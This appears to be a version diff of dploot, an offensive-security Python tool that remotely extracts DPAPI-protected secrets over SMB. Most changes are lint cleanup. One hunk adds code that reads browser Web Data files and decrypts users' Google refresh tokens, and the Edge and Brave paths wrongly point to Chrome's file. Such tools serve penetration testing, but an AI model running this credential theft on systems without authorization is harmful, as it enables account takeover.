dploot 2.6.0__tar.gz → 2.6.2__tar.gz

{dploot-2.6.0 → dploot-2.6.2}/LICENSE

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2018 Tamas Jos
+Copyright (c) 2024 Thomas Seigneuret zblurx
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

{dploot-2.6.0 → dploot-2.6.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: dploot
-Version: 2.6.0
+Version: 2.6.2
 Summary: DPAPI looting remotely in Python
 Home-page: https://github.com/zblurx/dploot
 License: MIT

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/browser.py

@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.browser import BrowserTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/certificates.py

@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.certificates import CertificatesTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/credentials.py

@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.credentials import CredentialsTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinecertificates.py

@@ -6,7 +6,7 @@ from typing import Callable, Tuple
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.certificates import CertificatesTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinecredentials.py

@@ -6,7 +6,7 @@ from typing import Callable, Tuple
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.credentials import CredentialsTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinetriage.py

@@ -6,12 +6,10 @@ from typing import Callable, Tuple
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
-from dploot.triage.browser import BrowserTriage
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.certificates import CertificatesTriage
 from dploot.triage.credentials import CredentialsTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
-from dploot.triage.rdg import RDGTriage
 from dploot.triage.vaults import VaultsTriage
 
 NAME = 'machinetriage'

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinevaults.py

@@ -6,7 +6,7 @@ from typing import Callable, Tuple
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 from dploot.triage.vaults import VaultsTriage

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/masterkeys.py

@@ -2,11 +2,11 @@ import argparse
 import logging
 import os
 import sys
-from typing import Callable, Dict, List, Tuple
+from typing import Callable, Dict, Tuple
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_dict, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option, parse_file_as_dict
 from dploot.triage.masterkeys import MasterkeysTriage
 
 
@@ -78,21 +78,21 @@ def entry(options: argparse.Namespace) -> None:
 
 def parse_masterkeys_options(options: argparse.Namespace, target: Target) -> Tuple[bytes,Dict[str,str],Dict[str,str]]:
     pvkbytes = passwords = nthashes = None
-    if options.pvk is not None:
+    if hasattr(options,'pvk') and options.pvk is not None:
         try:
             pvkbytes = open(options.pvk, 'rb').read()
         except Exception as e:
             logging.error(str(e))
             sys.exit(1)
 
-    if options.passwords is not None:
+    if hasattr(options,'passwords') and options.passwords is not None:
         try:
             passwords = parse_file_as_dict(options.passwords)
         except Exception as e:
             logging.error(str(e))
             sys.exit(1)
 
-    if options.nthashes is not None:
+    if hasattr(options,'nthashes') and options.nthashes is not None:
         try:
             nthashes = parse_file_as_dict(options.nthashes)
         except Exception as e:

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/rdg.py

@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 from dploot.triage.rdg import RDGTriage
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/sccm.py

@@ -1,13 +1,11 @@
 import argparse
 import logging
-import os
 import sys
 from typing import Callable, Tuple
-from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 from dploot.triage.sccm import SCCMTriage
 
@@ -24,7 +22,6 @@ class SCCMAction:
         self._users = None
         self.outputdir = None
         self.masterkeys = None
-        self.pvkbytes = None
 
         self.outputdir = handle_outputdir_option(dir= self.options.export_sccm)
 
@@ -35,8 +32,6 @@ class SCCMAction:
                 logging.error(str(e))
                 sys.exit(1)
 
-        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)
-
     def connect(self) -> None:
         self.conn = DPLootSMBConnection(self.target)
         if self.conn.connect() is None:
@@ -103,8 +98,6 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable
         ),
     )
 
-    add_masterkeys_argument_group(group)
-
     group.add_argument(
         "-export-sccm",
         action="store",

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/triage.py

@@ -7,8 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
-from dploot.triage.browser import BrowserTriage
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.certificates import CertificatesTriage
 from dploot.triage.credentials import CredentialsTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/vaults.py

@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 from dploot.triage.vaults import VaultsTriage
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/action/wifi.py

@@ -3,11 +3,10 @@ import logging
 import os
 import sys
 from typing import Callable, Tuple
-from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
 
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
-from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.lib.utils import handle_outputdir_option
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 from dploot.triage.wifi import WifiTriage
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/entry.py

@@ -1,4 +1,5 @@
 import argparse
+import importlib.metadata
 import logging
 import sys
 import traceback
@@ -44,8 +45,8 @@ ENTRY_PARSERS = [
 
 def main() -> None:
     logger.init()
-
-    parser = argparse.ArgumentParser(description="DPAPI looting remotely in Python", add_help=True)
+    version = importlib.metadata.version("dploot")
+    parser = argparse.ArgumentParser(description=f"DPAPI looting remotely in Python.\nVersion {version}", add_help=True)
 
     parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON")
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/lib/crypto.py

@@ -1,4 +1,4 @@
-from binascii import hexlify, unhexlify
+from binascii import hexlify
 from hashlib import pbkdf2_hmac
 from Cryptodome.Cipher import AES
 from Cryptodome.Hash import HMAC, SHA1, MD4
@@ -221,9 +221,9 @@ def pvkblob_to_pkcs1(key):
     modulus = bytes_to_long(key['modulus'][::-1]) # n
     prime1 = bytes_to_long(key['prime1'][::-1]) # p
     prime2 = bytes_to_long(key['prime2'][::-1]) # q
-    exp1 = bytes_to_long(key['exponent1'][::-1])
-    exp2 = bytes_to_long(key['exponent2'][::-1])
-    coefficient = bytes_to_long(key['coefficient'][::-1])
+    _ = bytes_to_long(key['exponent1'][::-1])
+    _ = bytes_to_long(key['exponent2'][::-1])
+    _ = bytes_to_long(key['coefficient'][::-1])
     privateExp = bytes_to_long(key['privateExponent'][::-1]) # d
     pubExp = int(key['pubexp']) # e
     # RSA.Integer(prime2).inverse(prime1) # u

{dploot-2.6.0 → dploot-2.6.2}/dploot/lib/dpapi.py

@@ -8,7 +8,7 @@ from Cryptodome.Util.Padding import unpad
 from Cryptodome.Hash import HMAC
 
 from impacket.uuid import bin_to_string
-from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey,  DPAPI_BLOB, \
+from impacket.dpapi import MasterKeyFile, MasterKey, DomainKey,  DPAPI_BLOB, \
     CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, \
     PVK_FILE_HDR, PRIVATE_KEY_BLOB, ALGORITHMS_DATA, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY, CredentialFile
 
@@ -19,7 +19,7 @@ def decrypt_masterkey(masterkey:bytes, domain_backupkey:bytes= None, dpapi_syste
         return None
     data = masterkey
     mkf = MasterKeyFile(data)
-    dk = mk = ch = bkmk = None
+    dk = mk = bkmk = None
     data = data[len(mkf):]
     if mkf['MasterKeyLen'] > 0:
         mk = MasterKey(data[:mkf['MasterKeyLen']])

{dploot-2.6.0 → dploot-2.6.2}/dploot/lib/smb.py

@@ -1,5 +1,4 @@
 import socket
-import sys
 import ntpath
 import logging
 import time
@@ -114,14 +113,14 @@ class DPLootSMBConnection:
             path = ntpath.join(path, '*')
         try:
             return self.smb_session.listPath(shareName=share, path=ntpath.normpath(path))
-        except :
+        except Exception:
             return None
 
     def is_admin(self) -> bool:
         try:
             self.smb_session.connectTree('C$')
             is_admin = True
-        except:
+        except Exception:
             is_admin = False
             pass
         return is_admin

{dploot-2.6.0 → dploot-2.6.2}/dploot/lib/utils.py

@@ -55,7 +55,7 @@ def parse_file_as_dict(filename: str) -> Dict[str,str]:
 	arr = dict()
 	with open(filename, 'r') as lines:
 		for line in lines:
-			l = line.rstrip('\n')
-			l = l.split(':',1)
-			arr[l[0]]=l[1]
+			tmp_line = line.rstrip('\n')
+			tmp_line = tmp_line.split(':',1)
+			arr[tmp_line[0]]=tmp_line[1]
 	return arr

{dploot-2.6.0 → dploot-2.6.2}/dploot/lib/wmi.py

@@ -1,7 +1,4 @@
 import logging
-import random
-import socket
-import string
 import time
 
 from impacket.dcerpc.v5.dcom import wmi

{dploot-2.6.0 → dploot-2.6.2}/dploot/triage/browser.py

@@ -11,7 +11,6 @@ from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target
 from dploot.lib.utils import datetime_to_time
-from dploot.lib.wmi import DPLootWmiExec
 from dploot.triage.masterkeys import Masterkey
 from dataclasses import dataclass
 
@@ -60,12 +59,29 @@ class Cookie:
     def dump_quiet(self) -> None:
         print("[%s] %s%s - %s:%s" % (self.browser.upper(), self.host, self.path, self.cookie_name, self.cookie_value))
 
+@dataclass
+class GoogleRefreshToken:
+    winuser: str
+    browser: str
+    service: str
+    token: str
+
+    def dump(self) -> None:
+        print('[%s - GOOGLE REFRESH TOKEN]' % self.browser.upper())
+        print('Service:\t%s' % self.service)
+        print('Token:\t\t%s' % self.token)
+        print()
+
+    def dump_quiet(self) -> None:
+        print("[%s] GRT %s:%s" % (self.browser.upper(), self.service, self.token))
+
 class BrowserTriage:
 
     false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users']
     user_google_chrome_generic_login_path = {
         'aesStateKeyPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Local State',
         'loginDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data',
+        'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data',
         'cookiesDataPath':[
             'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies',
             'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies'
@@ -74,6 +90,7 @@ class BrowserTriage:
     user_msedge_generic_login_path = {
         'aesStateKeyPath':'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State',
         'loginDataPath':'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data',
+        'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data',
         'cookiesDataPath':[
             'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies',
             'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies'
@@ -82,6 +99,7 @@ class BrowserTriage:
     user_brave_generic_login_path = {
         'aesStateKeyPath':'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State',
         'loginDataPath':'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data',
+        'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data',
         'cookiesDataPath':[
             'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies',
             'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies'
@@ -185,6 +203,24 @@ class BrowserTriage:
                                     expires_utc=expires_utc,
                                     last_access_utc=last_access_utc))
                         fh.close()
+            webData_bytes = self.conn.readFile(shareName=self.share, path=paths['webDataPath'] % user, bypass_shared_violation=True)
+            if aeskey is not None and webData_bytes is not None and len(webData_bytes) > 0:
+                fh = tempfile.NamedTemporaryFile()
+                fh.write(webData_bytes)
+                fh.seek(0)
+                db = sqlite3.connect(fh.name)
+                cursor = db.cursor()
+                query = cursor.execute('SELECT service, encrypted_token FROM token_service')
+                lines = query.fetchall()
+                if len(lines) > 0:
+                    for service, encrypted_grt in lines:
+                        token = decrypt_chrome_password(encrypted_grt, aeskey)
+                        credentials.append(GoogleRefreshToken(
+                            winuser=user,
+                            browser=browser,
+                            service=service,
+                            token = token
+                        ))
         return credentials, cookies
 
     @property

{dploot-2.6.0 → dploot-2.6.2}/dploot/triage/certificates.py

@@ -193,7 +193,7 @@ class CertificatesTriage:
                             if certblob.der is not None:
                                 cert = self.der_to_cert(certblob.der)
                                 certificates[certname] = cert
-                        except:
+                        except Exception:
                             pass
         return certificates
 
@@ -248,7 +248,7 @@ class CertificatesTriage:
 
             for name in san.value.get_values_for_type(x509.DNSName):
                 return "DNS Host Name", name
-        except:
+        except Exception:
             pass
 
         return None, None

{dploot-2.6.0 → dploot-2.6.2}/dploot/triage/sccm.py

@@ -1,10 +1,6 @@
 import logging
-import ntpath
-from typing import Any, List, Tuple
-import xml.etree.ElementTree as ET
-import base64
+from typing import List, Tuple
 import re
-from binascii import unhexlify
 
 from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
 from dploot.lib.smb import DPLootSMBConnection
@@ -78,18 +74,17 @@ class SCCMTriage:
         result = ''
         if masterkey is not None:
             result = decrypt_blob(blob_bytes, masterkey=masterkey)
-            return result
         else:
-            print("Master keys not found for SCCM blob")
-            return ""
+            logging.debug("Master keys not found for SCCM blob")
+        return result
 
     def parseFile(self, objectfile) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
         sccmcred = list()
         sccmsecret = list()
         sccmcollection = list()
-        regex_naa = b"CCM_NetworkAccessAccount.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
-        regex_task = b"</SWDReserved>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
-        regex_collection = b"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+        regex_naa = br"CCM_NetworkAccessAccount.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+        regex_task = br"</SWDReserved>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+        regex_collection = br"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
         logging.debug("Looking for NAA Credentials from OBJECTS.DATA file")
         pattern = re.compile(regex_naa)
         for match in pattern.finditer(objectfile):
@@ -114,7 +109,7 @@ class SCCMTriage:
     
     def parseReply(self, iEnum):
             finding = list()
-            regex = "<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+            regex = r"<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
             while True:
                 try:
                     pEnum = iEnum.Next(0xffffffff,1)[0]

{dploot-2.6.0 → dploot-2.6.2}/dploot/triage/vaults.py

@@ -3,7 +3,6 @@ import ntpath
 from typing import Any, List
 from binascii import hexlify
 
-from impacket.structure import hexdump
 from impacket.dcerpc.v5.dtypes import RPC_SID
 from impacket.dpapi import VAULT_INTERNET_EXPLORER, VAULT_WIN_BIO_KEY, VAULT_NGC_ACCOOUNT
 

{dploot-2.6.0 → dploot-2.6.2}/dploot/triage/wifi.py

@@ -87,7 +87,7 @@ class WifiCred:
             else:
                 print("[WIFI] %s - WPA EAP - %s" % (self.ssid, self.eap_type))
         else: 
-            print("[WIFI] %s - %s - %s" % (self.auth.upper(), self.ssid))
+            print("[WIFI] %s - %s" % (self.auth.upper(), self.ssid))
 
 class WifiTriage:
 

{dploot-2.6.0 → dploot-2.6.2}/pyproject.toml

@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "dploot"
-version = "2.6.0"
+version = "2.6.2"
 description = "DPAPI looting remotely in Python"
 readme = "README.md"
 homepage = "https://github.com/zblurx/dploot"